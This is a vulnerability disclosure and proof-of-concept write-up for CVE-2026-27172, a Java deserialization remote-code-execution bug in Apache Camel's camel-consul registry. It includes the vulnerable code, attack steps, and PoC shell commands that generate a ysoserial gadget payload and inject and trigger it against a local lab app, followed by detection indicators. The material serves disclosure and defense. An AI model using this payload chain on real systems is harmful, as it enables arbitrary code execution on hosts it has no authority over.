Apache Camel `camel-consul` ConsulRegistry Deserialization RCE (CVE-2026-27172)

Metadata

Affected Target

Summary

Apache Camel’s camel-consul component uses a Consul key/value store as a Camel bean registry (ConsulRegistry). When a bean is looked up by name, ConsulRegistryUtils.deserialize() Base64-decodes the stored KV value and deserializes it with a raw ObjectInputStream and, in affected versions, no ObjectInputFilter. Any principal able to write to the Consul KV path used by the registry can plant a Java gadget-chain payload (e.g. via commons-collections) that executes arbitrary code the next time Camel resolves that bean — through lookupByName(), lookupByNameAndType(), findByTypeWithName(), or findByType(). This is the same root-cause class of bug as CVE-2024-22369 (Cassandra-backed registry) and CVE-2024-23114 / CVE-2026-25747 (LevelDB-backed registry), which were overlooked when camel-consul was audited during those earlier fixes.

Vulnerability Details

Root Cause

ConsulRegistryUtils.deserialize() reads Consul KV values and calls ObjectInputStream.readObject() directly with no class allow-list/filter:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
    kvClient = consul.keyValueClient();
    return kvClient.getValueAsString(key).map(result -> {
        byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
        return ConsulRegistryUtils.deserialize(postDecodedValue);   // no filter (affected)
    }).orElse(null);
}

// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        return in.readObject();   // NO FILTERING!
    }
}

Attack Vector

1. Obtain write access to the Consul KV path backing the Camel registry (shared/misconfigured Consul cluster, over-scoped ACL token, or a separate vulnerability providing a KV write primitive).
2. Generate a serialized gadget-chain payload with ysoserial (e.g. CommonsCollections7), Base64-encode it (ConsulRegistry stores values as Base64).
3. Overwrite the KV entry under the key that a Camel route/bean reference resolves by name.
4. When Camel resolves that bean — via .to("bean:..."), bean(...), .process("..."), startup registry resolution, or a findByType() scan — ConsulRegistry Base64-decodes and deserializes the KV value with no filter, executing the gadget chain.

Impact

Remote code execution on the host running the Camel application, requiring only KV write access to the Consul store backing the registry (no authentication to the Camel application itself).

Environment / Lab Setup

Target:   Spring Boot app using camel-consul-starter 4.18.0 (affected) as its Camel registry
Backing:  HashiCorp Consul agent (KV store), e.g. `docker run -d -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0`
Attacker: Java 17+, Maven 3.8+, ysoserial (gadget payload generation)
Gadget:   commons-collections 3.2.1 on the application classpath

Proof of Concept

PoC Application

See pom.xml and src/main/java/com/example/ in this folder — a minimal Spring Boot app exposing REST endpoints (ExploitController) that drive ConsulRegistry directly, so the PoC is self-contained and does not require a live Camel route.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0

mvn clean package -DskipTests
mvn spring-boot:run

curl http://localhost:8080/exploit/init

wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  --data-binary @payload.b64

curl http://localhost:8080/exploit/trigger

ls -la /tmp/pwned

lookupByName() reads the KV value, Base64-decodes it, and deserializes it via a raw ObjectInputStream — executing the gadget chain during readObject(), before the returned value is ever used.

Detection & Indicators of Compromise

Signs of compromise:

• Unexpected writes to the Consul KV path used by a Camel ConsulRegistry, especially from tokens/identities that shouldn’t have registry write access
• The Camel application process spawning shell children or unexpected file/network activity correlated with a registry lookup (lookupByName, findByType, etc.)
• commons-collections or other known ysoserial gadget libraries present on the classpath of a production Camel application

Remediation

References

• Source repository
• Apache Camel security advisory

Notes

Mirrored from https://github.com/oscerd/CVE-2026-27172 on 2026-07-06. Same root-cause class as CVE-2024-22369 (Cassandra registry), CVE-2024-23114 and CVE-2026-25747 (LevelDB registry), all overlooked during earlier camel-jsch/registry deserialization remediations and fixed the same way (an ObjectInputFilter allow-list).